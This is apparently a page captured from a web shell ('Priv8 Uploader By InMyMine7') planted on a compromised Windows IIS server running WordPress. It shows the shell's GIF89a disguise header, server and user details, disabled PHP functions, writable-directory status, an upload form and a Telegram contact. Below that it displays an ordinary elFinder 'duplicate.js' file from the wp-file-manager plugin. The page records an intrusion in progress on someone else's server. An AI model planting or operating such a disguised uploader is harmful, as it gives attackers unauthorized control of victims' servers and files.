GIF89a;

Priv8 Uploader By InMyMine7

Windows NT WIN-EIKGKM4PF33 10.0 build 14393 (Windows Server 2016) AMD64
GIF89a;

Priv8 Uploader By InMyMine7

Windows NT WIN-EIKGKM4PF33 10.0 build 14393 (Windows Server 2016) AMD64
GIF89a;

Priv8 Uploader By InMyMine7

Windows NT WIN-EIKGKM4PF33 10.0 build 14393 (Windows Server 2016) AMD64
GIF89a;

Priv8 Uploader By InMyMine7

Windows NT WIN-EIKGKM4PF33 10.0 build 14393 (Windows Server 2016) AMD64
.
https://t.me/RX1948
Server : Microsoft-IIS/10.0
System : Windows NT WIN-EIKGKM4PF33 10.0 build 14393 (Windows Server 2016) AMD64
User : hm77079 ( 0)
PHP Version : 7.3.6
Disable Function : passthru,exec,system,popen,chroot,chgrp,chown,escapesh,ellcmd,escapeshellarg
Directory :  D:/www/hm77079/wwwroot/wp-content/plugins/wp-file-manager/lib/js/commands/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : D:/www/hm77079/wwwroot/wp-content/plugins/wp-file-manager/lib/js/commands/duplicate.js
/**
 * @class elFinder command "duplicate"
 * Create file/folder copy with suffix "copy Number"
 *
 * @type  elFinder.command
 * @author  Dmitry (dio) Levashov
 */
 elFinder.prototype.commands.duplicate = function() {
	"use strict";
	var fm = this.fm;
	
	this.getstate = function(select) {
		var sel = this.files(select),
			cnt = sel.length,
			filter = function(files) {
				var fres = true;
				return jQuery.grep(files, function(f) {
					fres = fres && f.read && f.phash === fm.cwd().hash && ! fm.isRoot(f)? true : false;
					return fres;
				});
			};

		return cnt && fm.cwd().write && filter(sel).length == cnt ? 0 : -1;
	};
	
	this.exec = function(hashes) {
		var fm     = this.fm,
			files  = this.files(hashes),
			cnt    = files.length,
			dfrd   = jQuery.Deferred()
				.fail(function(error) {
					error && fm.error(error);
				}), 
			args = [];
			
		if (! cnt) {
			return dfrd.reject();
		}
		
		jQuery.each(files, function(i, file) {
			if (!file.read || !fm.file(file.phash).write) {
				return !dfrd.reject(['errCopy', file.name, 'errPerm']);
			}
		});
		
		if (dfrd.state() == 'rejected') {
			return dfrd;
		}
		
		return fm.request({
			data   : {cmd : 'duplicate', targets : this.hashes(hashes)},
			notify : {type : 'copy', cnt : cnt},
			navigate : {
				toast : {
					inbuffer : {msg: fm.i18n(['complete', fm.i18n('cmdduplicate')])}
				}
			}
		});
		
	};

};

https://t.me/RX1948 - 2025